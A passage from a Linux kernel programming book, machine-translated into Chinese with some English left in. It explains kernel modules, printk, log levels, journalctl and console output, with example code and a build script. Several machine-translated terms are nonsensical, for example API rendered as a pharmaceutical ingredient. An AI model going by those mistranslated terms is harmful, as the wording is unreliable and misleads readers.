ule”)实用程序;`insmod`的参数是要插入的内核模块的路径名: - -```sh -$ insmod ./helloworld_lkm.ko -insmod: ERROR: could not insert module ./helloworld_lkm.ko: Operation not permitted -$ -``` - -它失败了!事实上,原因应该很明显。想想看:在非常真实的意义上,将代码插入内核甚至比成为系统上的*根*(超级用户)更优越——我再次提醒你:*这是内核代码,将以内核特权*运行。如果任何一个用户都被允许插入或移除内核模块,那么黑客们将会大有作为!部署恶意代码将变得相当琐碎。因此,出于安全原因,**只有拥有 root 访问权限,才能插入或移除内核模块**。 - -Technically, being *root* implies that the process' (or thread's) **Real** and/or **Effective** **UID** (**RUID**/**EUID**) value is the special value *zero*. Not just that, but the modern kernel "sees" a thread as having certain **capabilities**(via the modern and superior POSIX Capabilities model); only a process/thread with the `CAP_SYS_MODULE` capability can (un)load kernel modules. We refer the reader to the man page on `capabilities(7)` for more details. - -因此,让我们再次尝试将我们的内核模块插入内存,这次是通过`sudo(8)`以*根*特权: - -```sh -$ sudo insmod ./helloworld_lkm.ko -[sudo] password for llkd: -$ echo $? -0 -``` - -现在成功了!如前所述,`insmod(8)`实用程序通过调用`[f]init_module(2)`系统调用来工作。`insmod(8)`实用程序(实际上是内部的`[f]init_module(2)`系统调用)*何时会失败*? - -有几个例子: - -* **权限**:非 root 运行或缺少`CAP_SYS_MODULE`能力(`errno <- EPERM`)。 -* `proc`文件系统`/proc/sys/kernel/modules_disabled`内的内核可调参数设置为`1`(默认为`0`)。 -* 内核内存中已经有一个同名的内核模块(`errno <- EEXISTS`)。 - -好吧,一切看起来都很好。`$?`结果为`0`意味着前一个 shell 命令成功。太好了,但是我们的*你好,世界*信息在哪里?继续读! - -## 首先快速看一下内核 printk() - -为了发出消息,用户空间 C 开发人员通常会使用值得信赖的`printf(3)` glibc API(或者在编写 C++代码时使用`cout`)。然而,重要的是要理解在内核空间中,*没有库*。因此,我们只是做*而不是*有机会接触到好的旧`printf()`原料药*。*相反,它本质上已经在内核中被重新实现为`printk()`内核 API(好奇它的代码在哪里?它在内核源代码树中:`kernel/printk/printk.c:printk()`)。 - -通过`printk()`应用编程接口发送消息很简单,非常类似于通过`printf(3)`发送消息。在我们简单的内核模块中,这里是操作发生的地方: - -```sh -printk(KERN_INFO "Hello, world\n"); -``` - -虽然乍一看很像`printf`,但是`printk`真的很不一样。就相似性而言,应用编程接口接收格式字符串作为其参数。格式字符串与`printf`非常相似。 - -但相似之处到此为止。`printf`和`printk`的关键区别在于:用户空间`printf(3)`库 API 通过按照请求格式化文本字符串并调用`write(2)`系统调用来工作,该系统调用反过来实际上执行对`stdout` *设备的写入,*默认情况下是终端窗口(或控制台设备)。内核`printk` API 也按照请求格式化其文本字符串,但是其*输出* *目的地*不同。它至少写到一个地方——下面列表中的第一个地方——并且可能写到更多的地方: - -* 内存中的内核日志缓冲区(易失性) -* 日志文件,内核日志文件(非易失性) -* 控制台设备 - -For now, we shall skip the inner details regarding the workings of `printk`. Also, please ignore the `KERN_INFO` token within the `printk` API; we shall cover all this soon enough. - -当你通过`printk`发出一条消息时,保证输出进入内核内存(RAM)的日志缓冲区。这实际上构成了**内核日志**。需要注意的是,在运行 X 服务器进程的图形模式下工作时,您永远不会直接看到`printk`输出(在典型的 Linux 发行版上工作时的默认环境)。所以,这里显而易见的问题是:如何查看内核日志缓冲区内容?有几种方法。现在,让我们利用快速简单的方法。 - -使用`dmesg(1)`实用程序!默认情况下,`dmesg`会将整个内核日志缓冲区内容转储到 stdout。在这里,我们用它查找内核日志缓冲区的最后两行: - -```sh -$ dmesg | tail -n2 -[ 2912.880797] hello: loading out-of-tree module taints kernel. -[ 2912.881098] Hello, world -$ -``` - -终于来了:我们的*你好,世界*消息! - -You can simply ignore the `loading out-of-tree module taints kernel.` message for now. For security reasons, most modern Linux distros will mark the kernel as *tainted* (literally, "contaminated" or "polluted") if a third party "out-of-tree" (or non-signed) kernel module is inserted. (Well, it's really more of a pseudo-legal cover-up along the lines of: *"if something goes wrong from this point in time onward, we are not responsible, and so on..."*; you get the idea). - -为了更加多样化,这里是我们的 *Hello,world* 内核模块在运行 5.4 Linux LTS 内核的 x86-64 CentOS 8 客户机上被插入和移除的截图(细节如下)(我们在第一章和第二章中详细显示了定制的内容): - -![](img/429fbfb1-9124-4ca3-8377-6a27f65a7ed2.png) - -Figure 4.6 – Screenshot showing our working with the *Hello, world* kernel module on a CentOS 8 x86-64 guest - -在内核日志中,如`dmesg(1)`实用程序所示,最左边一列中的数字是一个简单的时间戳,以`[seconds.microseconds]`格式表示系统启动后经过的时间(但不建议将其视为完全准确)。顺便说一下,这个时间戳是一个名为`CONFIG_PRINTK_TIME`的`Kconfig`变量——一个内核配置选项;它可以被`printk.time`内核参数覆盖。 - -## 列出实时内核模块 - -回到我们的内核模块:到目前为止,我们已经构建了它,将其加载到内核中,并验证其入口点`helloworld_lkm_init()`函数被调用,从而执行`printk` API。那么现在,它是做什么的?嗯,真的没什么;内核模块仅仅(高兴地?)坐在内核内存中,什么也不做。事实上,我们可以很容易地用`lsmod(8)`实用程序来查找它: - -```sh -$ lsmod | head -Module Size Used by -helloworld_lkm 16384 0 -isofs 32768 0 -fuse 139264 3 -tun 57344 0 -[...] -e1000 155648 0 -dm_mirror 28672 0 -dm_region_hash 20480 1 dm_mirror -dm_log 20480 2 dm_region_hash,dm_mirror -dm_mod 151552 11 dm_log,dm_mirror -$ -``` - -`lsmod`显示当前驻留在内核内存中的所有内核模块(或*活动的*),按照相反的时间顺序排序。它的输出是列格式的,有三列和可选的第四列。让我们分别看一下每一列: - -* 第一列显示内核模块的*名称*。 -* 第二列是内核中的(静态)*大小*,以字节为单位。 -* 第三列是模块*使用次数*。 -* 可选的第四列(以及随后的更多内容)将在下一章(在*理解模块堆叠*部分)中解释。此外,在最近的 x86-64 Linux 内核上,至少 16 KB 的内核内存似乎被内核模块占用。) - -所以,太好了:到目前为止,你已经成功地将第一个内核模块构建、加载并运行到内核内存中,它基本上可以工作了:接下来呢?这个没什么特别的!我们只是在下一节学习如何卸载它。当然还会有更多...继续前进! - -## 从内核内存中卸载模块 - -要卸载内核模块,我们使用便利实用程序`rmmod(8)` ( *移除模块*): - -```sh -$ rmmod -rmmod: ERROR: missing module name. -$ rmmod helloworld_lkm -rmmod: ERROR: could not remove 'helloworld_lkm': Operation not permitted -rmmod: ERROR: could not remove module helloworld_lkm: Operation not permitted -$ sudo rmmod helloworld_lkm -[sudo] password for llkd: -$ dmesg |tail -n2 -[ 2912.881098] Hello, world -[ 5551.863410] Goodbye, world -$ -``` - -`rmmod(8)`的参数是内核模块的*名称*(如`lsmod(8)`第一列所示),而不是路径名。显然,就像`insmod(8)`一样,我们需要作为*根*用户运行`rmmod(8)`实用程序才能成功。 - -在这里,我们还可以看到,由于我们的`rmmod`,内核模块的退出例程(或“析构函数”)`helloworld_lkm_exit()` 函数被调用。它反过来调用了`printk`*,后者发出了*再见,世界*的信息(我们用`dmesg`查找)。* - - *`rmmod`(注意内部变成了`delete_module(2)`系统调用)*什么时候可以失败*?以下是一些案例: - -* **权限**:如果不是以 root 身份运行或者缺少`CAP_SYS_MODULE`能力(`errno <- EPERM`)。 -* 如果内核模块的代码和/或数据正被另一个模块使用(如果存在依赖关系;这将在下一章的*模块堆叠*部分详细介绍)或者模块当前正被进程(或线程)使用,则模块使用计数将为正,`rmmod`将失败(`errno <- EBUSY`)。 - -* 内核模块没有使用`module_exit()`宏*和*指定退出例程(或析构函数)`CONFIG_MODULE_FORCE_UNLOAD`内核配置选项被禁用。 - -几个与模块管理相关的便利实用程序只不过是单一`kmod(8)`实用程序的符号(软)链接(类似于流行的 *busybox* 实用程序)。饺子皮有`lsmod(8), rmmod(8)`、`insmod(8)`、`modinfo(8)`、`modprobe(8)`、`depmod(8)`。看一看其中的几个: - -```sh -$ ls -l $(which insmod) ; ls -l $(which lsmod) ; ls -l $(which rmmod) -lrwxrwxrwx 1 root root 9 Oct 24 04:50 /sbin/insmod -> /bin/kmod -lrwxrwxrwx 1 root root 9 Oct 24 04:50 /sbin/lsmod -> /bin/kmod -lrwxrwxrwx 1 root root 9 Oct 24 04:50 /sbin/rmmod -> /bin/kmod -$ -``` - -请注意,这些实用程序(`/bin`、`/sbin`或`/usr/sbin`)的精确位置会随着分布而变化。 - -## 我们的 lkm 便利脚本 - -让我们用一个简单但有用的名为`lkm`的定制 Bash 脚本来结束这个*第一个内核模块*的讨论,这个脚本通过自动化内核模块构建、加载、`dmesg`和卸载工作流来帮助您。在这里(完整的代码在书的源代码树的根中): - -```sh -#!/bin/bash -# lkm : a silly kernel module dev - build, load, unload - helper wrapper script -[...] -unset ARCH -unset CROSS_COMPILE -name=$(basename "${0}") - -# Display and run the provided command. -# Parameter(s) : the command to run -runcmd() -{ - local SEP="------------------------------" - [ $# -eq 0 ] && return - echo "${SEP} -$* -${SEP}" - eval "$@" - [ $? -ne 0 ] && echo " ^--[FAILED]" -} - -### "main" here -[ $# -ne 1 ] && { - echo "Usage: ${name} name-of-kernel-module-file (without the .c)" - exit 1 -} -[[ "${1}" = *"."* ]] && { - echo "Usage: ${name} name-of-kernel-module-file ONLY (do NOT put any extension)." - exit 1 -} -echo "Version info:" -which lsb_release >/dev/null 2>&1 && { - echo -n "Distro: " - lsb_release -a 2>/dev/null |grep "Description" |awk -F':' '{print $2}' -} -echo -n "Kernel: " ; uname -r -runcmd "sudo rmmod $1 2> /dev/null" -runcmd "make clean" -runcmd "sudo dmesg -c > /dev/null" -runcmd "make || exit 1" -[ ! -f "$1".ko ] && { - echo "[!] ${name}: $1.ko has not been built, aborting..." - exit 1 -} -runcmd "sudo insmod ./$1.ko && lsmod|grep $1" -runcmd dmesg -exit 0 -``` - -给定内核模块的名称作为参数——没有任何扩展部分(如`.c`),`lkm`脚本执行一些有效性检查,显示一些版本信息,然后使用包装器`runcmd()` bash 函数显示给定命令的名称并运行给定命令,实际上轻松完成了`clean/build/load/lsmod/dmesg`工作流。让我们在第一个内核模块上尝试一下: - -```sh -$ pwd -<...>/ch4/helloworld_lkm -$ ../../lkm -Usage: lkm name-of-kernel-module-file (without the .c) -$ ../../lkm helloworld_lkm -Version info: -Distro: Ubuntu 18.04.3 LTS -Kernel: 5.0.0-36-generic ------------------------------- -sudo rmmod helloworld_lkm 2> /dev/null ------------------------------- -[sudo] password for llkd: ------------------------------- -sudo dmesg -C ------------------------------- ------------------------------- -make || exit 1 ------------------------------- -make -C /lib/modules/5.0.0-36-generic/build/ M=/home/llkd/book_llkd/Learn-Linux-Kernel-Development/ch4/helloworld_lkm modules -make[1]: Entering directory '/usr/src/linux-headers-5.0.0-36-generic' - CC [M] /home/llkd/book_llkd/Learn-Linux-Kernel-Development/ch4/helloworld_lkm/helloworld_lkm.o - Building modules, stage 2. - MODPOST 1 modules - CC /home/llkd/book_llkd/Learn-Linux-Kernel-Development/ch4/helloworld_lkm/helloworld_lkm.mod.o - LD [M] /home/llkd/book_llkd/Learn-Linux-Kernel-Development/ch4/helloworld_lkm/helloworld_lkm.ko -make[1]: Leaving directory '/usr/src/linux-headers-5.0.0-36-generic' ------------------------------- -sudo insmod ./helloworld_lkm.ko && lsmod|grep helloworld_lkm ------------------------------- -helloworld_lkm 16384 0 ------------------------------- -dmesg ------------------------------- -[ 8132.596795] Hello, world -$ -``` - -全部完成!记得用`rmmod(8)`卸载内核模块。 - -恭喜你!你现在已经学会了如何编写和试用一个简单的 *Hello,world* 内核模块。然而,在你满足于自己的荣誉之前,还有许多工作要做;下一节将深入探讨关于内核日志记录和通用 printk API 的更多关键细节。 - -# 了解内核日志和 printk - -关于通过 printk 内核应用编程接口*记录内核消息,还有很多需要讨论的。*本节将深入探讨一些细节。对于像您这样的初露头角的内核开发人员来说,清楚地理解这些非常重要。 - -在本节中,我们将深入研究内核日志记录的更多细节。我们开始了解 printk 输出是如何处理的,看看它的优缺点。我们讨论 printk 日志级别、现代系统如何通过 systemd 日志记录消息,以及如何将输出定向到控制台设备。我们用一个关于限速 printk 和用户生成的打印、从用户空间生成 printk 和标准化 printk 输出格式的注释来结束这个讨论。 - -我们在前面的*快速浏览内核* *printk* 部分看到了使用内核 printk API 功能的要点。在这里,我们将更多地探讨`printk()`应用编程接口的用法。在我们简单的内核模块中,下面是发出“ *Hello,world”*消息的代码行: - -```sh -printk(KERN_INFO "Hello, world\n"); -``` - -同样,`printk` 在*格式字符串*及其工作原理方面与`printf`相似——但相似之处就此结束。为了强调,我们重复一遍:`printf`和`printk` 的一个关键区别在于`printf(3)`是一个*用户空间库* API,通过调用`write(2)`系统调用工作,该调用写入*标准输出设备,*默认情况下通常是终端窗口(或控制台设备)。另一方面,printk 是一个*内核空间*应用编程接口,它的输出转到至少一个地方,下面列表中显示的第一个地方,可能还有更多地方: - -* 内核日志缓冲区(内存中;挥发性的) -* 内核日志文件(非易失性) -* 控制台设备 - -让我们更详细地检查内核日志缓冲区。 - -## 使用内核内存环形缓冲区 - -内核日志缓冲区只是内核地址空间中保存(记录)printk 输出的内存缓冲区。更确切地说,是全局`__log_buf[]`变量。它在内核源代码中的定义如下: - -```sh -kernel/printk/printk.c: -#define __LOG_BUF_LEN (1 << CONFIG_LOG_BUF_SHIFT) -static char __log_buf[__LOG_BUF_LEN] __aligned(LOG_ALIGN); -``` - -它被设计成一个*环形缓冲区*;它有一个有限的大小(`__LOG_BUF_LEN`字节),一旦它满了,就会从字节 0 被覆盖。因此,它被称为“环”或环形缓冲区)。这里我们可以看到大小是基于`Kconfig`变量`CONFIG_LOG_BUF_SHIFT`(C 中`1 << n`暗指`2^n`)。该值被显示,并且可以作为内核`(menu)config`的一部分被覆盖,这里:`General Setup > Kernel log buffer size`。 - -它是一个范围为`12 - 25`的整数值(我们可以随时搜索`init/Kconfig`查看其规格),默认值为`18`。所以,日志缓冲区的大小= 2 18 = 256 KB。然而,实际的运行时大小也受到其他配置指令的影响,特别是`LOG_CPU_MAX_BUF_SHIFT`,它使大小成为系统上 CPU 数量的函数。此外,相关的`Kconfig`文件说,*“当使用 log_buf_len 内核参数时,该选项也被忽略,因为它强制使用精确(2 的幂)大小的环形缓冲区。”*所以,这很有趣;我们通常可以通过传递一个*内核参数*(通过引导程序)来覆盖默认值! - -内核参数是有用的、多种多样的,非常值得检查。参见这里的官方文档:[https://www . kernel . org/doc/html/latest/admin-guide/kernel-parameters . html](https://www.kernel.org/doc/html/latest/admin-guide/kernel-parameters.html)。关于`log_buf_len`内核参数的 Linux 内核文档片段揭示了细节: - -```sh -log_buf_len=n[KMG] Sets the size of the printk ring buffer, - in bytes. n must be a power of two and greater - than the minimal size. The minimal size is defined - by LOG_BUF_SHIFT kernel config parameter. There is - also CONFIG_LOG_CPU_MAX_BUF_SHIFT config parameter - that allows to increase the default size depending - on the number of CPUs. See init/Kconfig for more - details. -``` - -无论内核日志缓冲区的大小如何,在处理 printk API 时有两个问题变得显而易见: - -* 其消息被记录在*易失性*存储器(RAM)中;如果系统以任何方式崩溃或断电,我们将失去宝贵的内核日志(通常会消除我们的调试能力)。 -* 默认情况下,日志缓冲区不是很大,通常只有 256 KB 大量的打印会淹没环形缓冲区,使其环绕,从而丢失信息。 - -我们如何解决这个问题?继续读... - -## 内核日志和系统日志 - -前面提到的问题的一个显而易见的解决方案是将内核 printk 写入(追加)到一个文件中。这正是大多数现代 Linux 发行版的设置方式。日志文件的位置因发行版而异:传统上,基于红帽的写入`/var/log/messages`文件,基于 Debian 的写入`/var/log/syslog`。传统上,内核 printk 会连接到用户空间*系统日志守护程序* ( `syslogd` ) 来执行文件日志记录,从而自动受益于更复杂的功能,如日志旋转、压缩和存档。 - -然而,在过去的几年里,系统日志记录已经完全被一个有用且强大的新系统初始化框架所取代,这个框架被称为 **systemd** (它取代了旧的 SysV init 框架,或者通常是旧的 SysV init 框架的补充)。事实上,systemd 现在甚至被常规地用在嵌入式 Linux 设备上。在 systemd 框架内,日志记录由一个名为`systemd-journal`的守护进程执行,而`journalctl(1)` 实用程序是它的用户界面。 - -The detailed coverage of systemd and its associated utilities is beyond the scope of this book. Please refer to the *Further reading* section of this chapter for links to (a lot) more on it. - -使用日志检索和解释日志的一个关键优势是来自应用、库、系统守护程序、内核、驱动程序等的所有日志**都写在这里(合并)。这样,我们可以看到事件的(反向)时间线,而不必手动将不同的日志拼凑成时间线。`journalctl(1)` 实用程序的手册页详细介绍了它的各种选项。在这里,我们基于这个实用程序提供了一些(希望)方便的别名:** - -```sh -#--- a few journalctl(1) aliases -# jlog: current (from most recent) boot only, everything -alias jlog='/bin/journalctl -b --all --catalog --no-pager' -# jlogr: current (from most recent) boot only, everything, -# in *reverse* chronological order -alias jlogr='/bin/journalctl -b --all --catalog --no-pager --reverse' -# jlogall: *everything*, all time; --merge => _all_ logs merged -alias jlogall='/bin/journalctl --all --catalog --merge --no-pager' -# jlogf: *watch* log, akin to 'tail -f' mode; -# very useful to 'watch live' logs -alias jlogf='/bin/journalctl -f' -# jlogk: only kernel messages, this (from most recent) boot -alias jlogk='/bin/journalctl -b -k --no-pager' -``` - -Note that the `-b` option `current boot` implies that the journal is displayed from the most recent system boot date at the present moment. A numbered listing of stored system (re)boots can be seen with `journalctl --list-boots`. - -我们故意使用`--no-pager`选项,因为它允许我们根据需要用`[e]grep(1)`、`awk(1), sort(1)`等进一步过滤输出。使用`journalctl(1)`的简单示例如下: - -```sh -$ journalctl -k |tail -n2 -Mar 17 17:33:16 llkd-vbox kernel: Hello, world -Mar 17 17:47:26 llkd-vbox kernel: Goodbye, world -$ -``` - -请注意日志的默认日志格式: - -```sh -[timestamp] [hostname] [source]: [... log message ...] -``` - -这里`[source]`是内核消息的`kernel`,或者写消息的特定应用或服务的名称。 - -从`journalctl(1)`的手册页上看到几个用法示例很有用: - -```sh -Show all kernel logs from previous boot: - journalctl -k -b -1 - -Show a live log display from a system service apache.service: - journalctl -f -u apache -``` - -当然,将内核消息非易失性地记录到文件中非常有用。但是,请注意,存在一些情况,通常由硬件限制决定,这可能会使它变得不可能。例如,一个资源高度受限的小型嵌入式 Linux 设备可能会使用一个小型内部闪存芯片作为存储介质。现在,它不仅很小,而且所有的空间都被应用、库、内核和引导加载程序占用了,而且基于闪存的芯片在耗尽之前可以维持的擦除-写入周期数也受到了有效的限制。因此,给它写几百万次可能会结束它!因此,有时,系统设计人员会故意和/或额外使用更便宜的外部闪存,如(微型)SD/MMC 卡(用于非关键数据)来减轻这种影响,因为它们很容易更换。 - -让我们继续了解 printk 日志级别。 - -## 使用 printk 日志级别 - -为了理解和使用 printk 日志级别,让我们从复制这一行代码开始——第一个 printk 来自我们的`helloworld_lkm`内核模块: - -```sh -printk(KERN_INFO "Hello, world\n"); -``` - -现在我们来谈谈房间里的大象:`KERN_INFO`到底是什么意思?首先,现在要小心:这是*而不是*你的下意识反应所说的——一个参数。不要。请注意,它和格式字符串之间没有逗号字符;只有空白。`KERN_INFO`只是内核 printk 登录的**八个** **日志级别** 之一。需要马上理解的一个关键点是,这个日志级别是*而不是*任何类型的优先级;它的存在允许我们*根据日志级别过滤消息*。内核为 printk 定义了八种可能的日志级别;它们在这里: - -```sh -// include/linux/kern_levels.h -#ifndef __KERN_LEVELS_H__ -#define __KERN_LEVELS_H__ - -#define KERN_SOH "\001" /* ASCII Start Of Header */ -#define KERN_SOH_ASCII '\001' - -#define KERN_EMERG KERN_SOH "0" /* system is unusable */ -#define KERN_ALERT KERN_SOH "1" /* action must be taken - immediately */ -#define KERN_CRIT KERN_SOH "2" /* critical conditions */ -#define KERN_ERR KERN_SOH "3" /* error conditions */ -#define KERN_WARNING KERN_SOH "4" /* warning conditions */ -#define KERN_NOTICE KERN_SOH "5" /* normal but significant - condition */ -#define KERN_INFO KERN_SOH "6" /* informational */ -#define KERN_DEBUG KERN_SOH "7" /* debug-level messages */ - -#define KERN_DEFAULT KERN_SOH "d" /* the default kernel loglevel */ -``` - -因此,现在我们看到`KERN_`日志级别仅仅是字符串(`"0", "1", ..., "7"`),它们被作为 printk 发出的内核消息的前缀;仅此而已。这为我们提供了基于日志级别过滤消息的有用能力。每个日志右侧的注释清楚地向开发人员显示了何时使用哪个日志级别。 - -What's `KERN_SOH`? That's the ASCII **Start Of Header** (**SOH**) value `\001`. See the man page on `ascii(7)`; the `ascii(1)` utility dumps the ASCII table in various numerical bases. From here, we can clearly see that numeric `1` (or `\001`) is the `SOH` character, a convention that is followed here. - -让我们快速看一下 Linux 内核源代码树中的几个实际例子。当内核的`hangcheck-timer` 设备驱动程序(有点类似软件看门狗)确定某个定时器到期(默认为 60 秒)延迟超过某个阈值(默认为 180 秒)时,它会重启系统!这里我们展示了相关的内核代码——在这方面,`hangcheck-timer`驱动程序发出 printk 的地方: - -```sh -// drivers/char/hangcheck-timer.c[...]if (hangcheck_reboot) { - printk(KERN_CRIT "Hangcheck: hangcheck is restarting the machine.\n"); - emergency_restart(); -} else { -[...] -``` - -查看如何在日志级别设置为`KERN_CRIT`的情况下调用 printk API。 - -另一方面,发出信息信息可能正是医生所要求的:在这里,我们看到通用并行打印机驱动程序礼貌地通知所有相关人员打印机着火了(相当低调,是吗?): - -```sh -// drivers/char/lp.c[...] - if (last != LP_PERRORP) { - last = LP_PERRORP; - printk(KERN_INFO "lp%d on fire\n", minor); - } -``` - -你会认为一个着火的设备会使 printk 在“紧急”日志级别发出...嗯,至少`arch/x86/kernel/cpu/mce/p5.c:pentium_machine_check()`功能坚持这一点: - -```sh -// arch/x86/kernel/cpu/mce/p5.c -[...] - pr_emerg("CPU#%d: Machine Check Exception: 0x%8X (type 0x%8X).\n", - smp_processor_id(), loaddr, lotype); - - if (lotype & (1<<5)) { - pr_emerg("CPU#%d: Possible thermal failure (CPU on fire ?).\n", - smp_processor_id()); - } -[...] -``` - -(接下来介绍`pr_()`便利宏)。 - -**一个常见问题** *:* 如果在`printk()`内,日志级别为*而非*指定,打印是在什么日志级别发出的?默认为`4`,也就是`KERN_WARNING`(写入控制台部分揭示了这到底是为什么)。但是,请注意,在使用 printk 时,您应该总是指定一个合适的日志级别。 - -有一种简单的方法可以指定内核消息日志级别。这就是我们接下来要深入研究的。 - -### pr_ 便利宏 - -这里给出的 **`pr_()`** 宏的便利缓解了编码的痛苦。笨重的 -`printk(KERN_FOO "");`换成了优雅的 -`pr_foo("");`,其中``为原木级别;鼓励使用它们: - -```sh -// include/linux/printk.h: -[...] -/* - * These can be used to print at the various log levels. - * All of these will print unconditionally, although note that pr_debug() - * and other debug macros are compiled out unless either DEBUG is defined - * or CONFIG_DYNAMIC_DEBUG is set. - */ -#define pr_emerg(fmt, ...) \ - printk(KERN_EMERG pr_fmt(fmt), ##__VA_ARGS__) -#define pr_alert(fmt, ...) \ - printk(KERN_ALERT pr_fmt(fmt), ##__VA_ARGS__) -#define pr_crit(fmt, ...) \ - printk(KERN_CRIT pr_fmt(fmt), ##__VA_ARGS__) -#define pr_err(fmt, ...) \ - printk(KERN_ERR pr_fmt(fmt), ##__VA_ARGS__) -#define pr_warning(fmt, ...) \ - printk(KERN_WARNING pr_fmt(fmt), ##__VA_ARGS__) -#define pr_warn pr_warning -#define pr_notice(fmt, ...) \ - printk(KERN_NOTICE pr_fmt(fmt), ##__VA_ARGS__) -#define pr_info(fmt, ...) \ - printk(KERN_INFO pr_fmt(fmt), ##__VA_ARGS__) -[...] -/* pr_devel() should produce zero code unless DEBUG is defined */ -#ifdef DEBUG -#define pr_devel(fmt, ...) \ - printk(KERN_DEBUG pr_fmt(fmt), ##__VA_ARGS__) -#else -#define pr_devel(fmt, ...) \ - no_printk(KERN_DEBUG pr_fmt(fmt), ##__VA_ARGS__) -#endif -``` - -The kernel allows us to pass `loglevel=n` as a kernel command-line parameter, where `n` is an integer between `0` and `7`, corresponding to the eight log levels mentioned previously. As expected (as you shall soon learn), all printk instances with a log level less than that which was passed will be directed to the console device as well. - -将内核消息直接写入控制台设备有时非常有用;下一节将讨论如何实现这一点的细节。 - -### 控制台接线 - -回想一下,printk 输出最多可以到达三个位置: - -* 第一个是内核内存日志缓冲区(总是) -* 第二个是非易失性日志文件 -* 最后一个(我们将在这里讨论):控制台设备 - - *传统上,控制台设备是一个纯内核特性,即超级用户在非图形环境中登录(`/dev/console`)的初始终端窗口。有趣的是,在 Linux 上,我们可以定义几个控制台——一个**电传终端** ( **tty** )窗口(如`/dev/console`)、一个文本模式 VGA、一个帧缓冲器,甚至一个通过 USB 服务的串行端口(这在开发期间的嵌入式系统上很常见;在本章的*进一步阅读*部分,了解更多关于 Linux 控制台的信息。 - -例如,当我们通过 USB 到 RS232 TTL UART (USB 到 serial)电缆将树莓 Pi 连接到 x86-64 笔记本电脑时(请参阅本章的*进一步阅读*部分,了解关于这个非常有用的配件以及如何在树莓 Pi 上设置它的博客文章!)然后使用`minicom(1)`(或`screen(1)`)获得一个串行控制台,这就是显示为`tty` 设备的东西——它是串行端口: - -```sh -rpi # tty -/dev/ttyS0 -``` - -这里的重点是控制台通常是*重要日志消息的目标,包括那些来自内核深处的日志消息。Linux 的 printk 使用基于`proc`的机制有条件地将其数据传送到控制台设备。为了更好地理解这一点,让我们首先检查一下相关的`proc`伪文件:* - -```sh -$ cat /proc/sys/kernel/printk -4 4 1 7 -$ -``` - -我们将前面四个数字解释为 printk 日志级别(就“紧急程度”而言,`0`最高,`7`最低)。前面四个整数序列的含义是: - -* 当前(控制台)日志级别 - *-这意味着所有小于该值的消息都将出现在控制台设备上!* -* 缺少显式日志级别的消息的默认级别 -* 允许的最小日志级别 -* 引导时默认日志级别 - -由此可见,日志级别`4`对应`KERN_WARNING`。因此,第一个数字是`4`(实际上,这是 Linux 发行版的典型默认值),*所有低于日志级别 4 的 printk 实例都将出现在控制台设备上,*当然,还会被记录到一个文件中——实际上,所有消息都在以下日志级别:`KERN_EMERG`、`KERN_ALERT`、`KERN_CRIT`和`KERN_ERR`。 - -Kernel messages at log level `0 [KERN_EMERG]` are *always* printed to the console, and indeed to all Terminal windows and the kernel log file, regardless of any settings. - -值得注意的是,在进行嵌入式 Linux 或任何内核开发时,您通常会在控制台设备上使用*,就像刚才给出的树莓 Pi 示例一样。将`proc printk`伪文件的第一个整数值设置为`8`将会*保证所有 printk 实例都直接出现在控制台*、**上,从而使 printk 表现得像普通 printf 一样!**在这里,我们展示了根用户如何轻松设置:* - -```sh -# echo "8 4 1 7" > /proc/sys/kernel/printk -``` - -(当然,这必须以 root 身份完成。)这在开发和测试过程中非常方便。 - -On my Raspberry Pi, I keep a startup script that contains the following line: -`[ $(id -u) -eq 0 ] && echo "8 4 1 7" > /proc/sys/kernel/printk` -Thus, when running it as root, this takes effect and all printk instances now directly appear on the `minicom(1)` console, just as `printf` would. - -谈到通用的树莓 Pi,下一节将演示如何在一个上面运行内核模块。 - -### 将输出写入树莓 Pi 控制台 - -进入我们的第二个内核模块!在这里,我们将发出九个 printk 实例,八个日志级别中的每一个都有一个,再加上一个通过`pr_devel()`宏(实际上只是`KERN_DEBUG`日志级别)发出的实例。让我们看看相关的代码: - -```sh -// ch4/printk_loglvl/printk_loglvl.c -static int __init printk_loglvl_init(void) -{ - pr_emerg ("Hello, world @ log-level KERN_EMERG [0]\n"); - pr_alert ("Hello, world @ log-level KERN_ALERT [1]\n"); - pr_crit ("Hello, world @ log-level KERN_CRIT [2]\n"); - pr_err ("Hello, world @ log-level KERN_ERR [3]\n"); - pr_warn ("Hello, world @ log-level KERN_WARNING [4]\n"); - pr_notice("Hello, world @ log-level KERN_NOTICE [5]\n"); - pr_info ("Hello, world @ log-level KERN_INFO [6]\n"); - pr_debug ("Hello, world @ log-level KERN_DEBUG [7]\n"); - pr_devel("Hello, world via the pr_devel() macro" - " (eff @KERN_DEBUG) [7]\n"); - return 0; /* success */ -} -static void __exit printk_loglvl_exit(void) -{ - pr_info("Goodbye, world @ log-level KERN_INFO [6]\n"); -} -module_init(printk_loglvl_init); -module_exit(printk_loglvl_exit); -``` - -Now, we will discuss the output when running the preceding `printk_loglvl`kernel module on a Raspberry Pi device. If you don't possess one or it's not handy, that's not a problem; please go ahead and try it out on an x86-64 guest VM. - -在树莓 Pi 设备上(这里我使用了运行默认树莓 Pi 操作系统的树莓 Pi 3B+模型),我们登录并通过一个简单的`sudo -s`获得一个根 Shell。然后我们构建内核模块。如果你已经在树莓 Pi 上安装了默认的树莓 Pi 映像,那么所有需要的开发工具、内核头等等都将被预装!图 4.7 是在树莓 Pi 板上运行我们的`printk_loglvl`内核模块的截图。此外,重要的是要意识到我们正在控制台设备上运行**,因为我们正在通过`minicom(1)`终端仿真器应用(而不是简单地通过 SSH 连接*)使用前述的 USB 至串行电缆:*** - - *![](img/0877f37a-20c0-408d-82c2-c831bb365455.png) - -Figure 4.7 – The minicom Terminal emulator app window – the console – with the printk_loglvl kernel module output - -请注意与 x86-64 环境有点不同的地方:这里,默认情况下,`/proc/sys/kernel/printk`输出中的第一个整数——当前控制台日志级别——是`3`(不是`4`)。好的,这意味着日志级别*低于日志级别 3* 的所有内核 printk 实例将直接出现在控制台设备上。看截图:确实是这样!此外,不出所料,处于“紧急”日志级别(`0`)的 printk 实例总是出现在控制台上,甚至出现在每个打开的终端窗口上。 - -现在有趣的部分:让我们将当前控制台日志级别(记住,这是`/proc/sys/kernel/printk`输出中的第一个整数)设置为值`8`(当然是根)。这样,所有 printk 实例都应该直接出现在控制台*上。*我们在此精确测试: - -![](img/7553f2bd-5a78-4701-8d2f-623a3e470c49.png) - -Figure 4.8 – The minicom Terminal – in effect, the console – window, with the console log level set to 8 - -事实上,正如预期的那样,我们在控制台设备上看到了所有的 printk 实例,避免了使用`dmesg`的需要。 - 